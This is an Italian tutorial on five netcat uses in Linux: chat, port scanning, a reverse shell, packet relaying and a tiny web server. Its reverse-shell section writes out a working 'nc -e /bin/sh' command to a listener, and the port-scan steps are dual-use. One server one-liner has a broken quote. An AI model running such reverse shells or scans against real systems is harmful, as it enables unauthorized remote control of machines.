5 usi semplici e facili per Netcat in Linux
Netcat è una potente utility di rete a riga di comando in Linux che può inviare e ascoltare pacchetti TCP e UDP. A differenza di altri strumenti di rete, netcat è estremamente semplice. Tuttavia, la sua semplicità gli consente anche di svolgere quasi ogni tipo di attività su una rete.
Questo articolo ti mostrerà 5 semplici attività di rete che puoi eseguire con netcat. Inoltre, questo articolo evidenzierà anche ciò che rende speciale netcat e perché dovresti includerlo nel tuo toolkit Linux.
Come funziona Netcat e perché usarlo?
Netcat è un’utilità di base che può inviare e ricevere pacchetti di rete. È stato rilasciato per la prima volta nel 1995 da un programmatore pseudonimo di nome Hobbit. Da allora, netcat è stato una parte importante di ogni distribuzione Linux.
Fondamentalmente, netcat funziona inviando richieste di rete da un host Linux a un altro. Questa richiesta di rete può contenere qualsiasi tipo di dati e puoi inviarla su qualsiasi porta.
Questo approccio significa che netcat può creare qualsiasi tipo di connessione di rete possibile. Ad esempio, il programma può creare connessioni TCP dirette che puoi utilizzare per trasferire file o creare sessioni di shell inversa .
1. Sessione di chat tra pari
Uno degli usi più basilari di netcat è una semplice sessione di chat peer to peer tra due macchine Linux. Questo è un metodo di comunicazione che non si basa su server di terze parti per inviare e ricevere informazioni.
- Affinché funzioni, devi aprire una porta tra 49152 e 65536 sul tuo computer locale. Qui è dove un host remoto sarà in grado di connettersi e inviare informazioni arbitrarie alla tua macchina.
sudo ufw allow 50000
- Devi anche aprire una porta diversa sull’host remoto affinché la tua macchina possa inviare informazioni verso di essa:
sudo ufw allow 50001
- Esegui
netcat
sulla tua macchina con i seguenti argomenti:
nc -lp 50000
Questo aprirà una sessione netcat che sta attivamente ascoltando i dati sulla porta 50000.
- L’host remoto può ora inviare qualsiasi dato di testo verso il tuo computer locale. Ad esempio, il seguente comando invierà l’input standard del sistema a una macchina remota.
cat - | nc 192.168.122.136 50000
- Per rispondere al messaggio, anche l’host remoto deve eseguire un demone in ascolto:
nc -lp 50001
- Ora puoi anche inviare un messaggio dalla macchina locale all’host remoto:
cat - | nc 192.168.122.177 50001
2. Scanner per porte di base
Un port scanner è una semplice utility che controlla se un insieme di porte in una macchina è accessibile da un host remoto. Questo è molto utile nei casi in cui non sei sicuro che il tuo sistema abbia le porte appropriate aperte.
Per verificare la presenza di una singola porta, è possibile eseguire nc -v
seguito dall’indirizzo IP e dalla porta che si desidera controllare:
nc -v 192.168.122.177 80
Puoi anche fornire un intervallo di numeri in cui netcat controllerà in sequenza ogni numero di porta all’interno di tale intervallo. Ad esempio, l’esecuzione del comando seguente eseguirà la scansione di tutte le porte “riconosciute” aperte:
nc -v 192.168.122.177 1-1024
Uno degli svantaggi dell’interrogazione delle porte è che genera traffico di rete non necessario. Questo può essere un problema se stai testando una vasta gamma di porte in una piccola rete domestica.
Per risolvere questo problema, abilita la modalità “Zero I/O” di netcat che non crea alcuna attività di rete sull’host remoto:
nc -zv 192.168.122.177 1-1024
3. Guscio inverso
Le shell inverse sono il pane quotidiano dei test di penetrazione in Linux. Si tratta di istanze di shell remote che consentono di controllare un sistema anche senza aprire le porte in entrata. Ciò rende utili le shell inverse se è necessario accedere a una macchina che non dispone di alcun accesso SSH.
- Per creare una shell inversa, devi aprire un demone listener nel tuo computer locale:
nc -lp 50000
- Avvia una connessione netcat nel tuo computer remoto. In questo caso, devi anche passare l’ambiente shell della macchina remota:
nc -e /bin/sh 192.168.122.136 50000
- Torna al tuo computer locale ed esegui un comando shell. Ad esempio, l’esecuzione
ls
stamperà la directory corrente dell’utente remoto.
ls -la
- Per terminare la sessione della shell inversa, puoi premere Ctrl+ Csul demone listener della tua macchina locale.
4. Relè pacchetto di base
Oltre a leggere e scrivere direttamente su un flusso di rete, puoi anche utilizzare netcat per reindirizzare una connessione in entrata a qualsiasi porta in uscita. Funziona concatenando più sessioni client e listener netcat utilizzando pipe UNIX.
- Crea una sessione netcat in ascolto sulla porta 50000. Questa fungerà da porta in uscita per il tuo inoltro di base:
nc -lv localhost 50000
- Apri un nuovo terminale ed esegui il seguente comando:
nc -lv localhost 50001 | nc localhost 50000
In questo modo verrà creato un nuovo demone listener sulla porta 50001 e reindirizzerà automaticamente tutti i pacchetti su questa porta alla porta 50000.
- Ora puoi inviare dati alla tua porta in entrata e netcat reindirizzerà automaticamente il suo output alla tua porta in uscita.
echo "MakeTechEasier"| nc localhost 50001
- Oltre alle porte locali, puoi anche utilizzare questa funzione per reindirizzare il traffico di rete a un’altra macchina. Ad esempio, il codice seguente invia i dati nella porta 50000 alla stessa porta su un sistema diverso:
nc -lv localhost 50000 | nc 192.168.122.177 50000
5. Server HTTP di base
La configurazione di un server HTTP può essere un processo complesso anche se desideri servire solo una singola pagina. A tale proposito, netcat può anche fungere da semplice server Web statico che puoi avviare in Linux senza installare strumenti aggiuntivi.
- Crea un file di risposta HTTP di base. Il seguente frammento di codice mostra una pagina web con un semplice messaggio:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Salvalo come “index.http” nella tua home directory.
- Esegui il seguente comando:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Ora hai un server web funzionante. Puoi visitare la tua pagina web aprendo un browser web e andando su http://localhost:8080.
- Premere Ctrl+ Csul terminale per uscire dalla sessione corrente del server web.
Domande frequenti
Non riesco a connettermi a una macchina remota usando netcat.
Questo problema è molto probabilmente dovuto a una porta del firewall bloccata sul computer remoto. Devi assicurarti che la porta che stai utilizzando nella tua macchina sia aperta sia per le connessioni in entrata che per quelle in uscita. Ad esempio, è necessario eseguire sudo ufw allow 49999
se si desidera utilizzare la porta 49999 sulla macchina remota.
È possibile connettersi a qualsiasi host utilizzando netcat?
No. Mentre netcat può leggere e scrivere su qualsiasi flusso di rete arbitrario, non può connettersi a una macchina che non è rilevabile dalla rete del tuo sistema. Questi includono reti private che non hanno il port forwarding abilitato così come sistemi air-gap che non hanno accesso alla rete.
È possibile falsificare una connessione in netcat?
No. Questo perché netcat può solo inviare e ricevere pacchetti da un’interfaccia di rete valida. Tuttavia, puoi modificare la provenienza di quel particolare pacchetto se disponi di più interfacce di rete.
Ad esempio, puoi eseguire nc -l -s 10.0.0.2 -p 50000
per dire a netcat di inviare esplicitamente i pacchetti utilizzando l’interfaccia che ha l’indirizzo IP “10.0.0.2”.
Credito immagine: ThisisEngineering RAEng tramite Unsplash . Tutte le modifiche e gli screenshot di Ramces Red.
Lascia un commento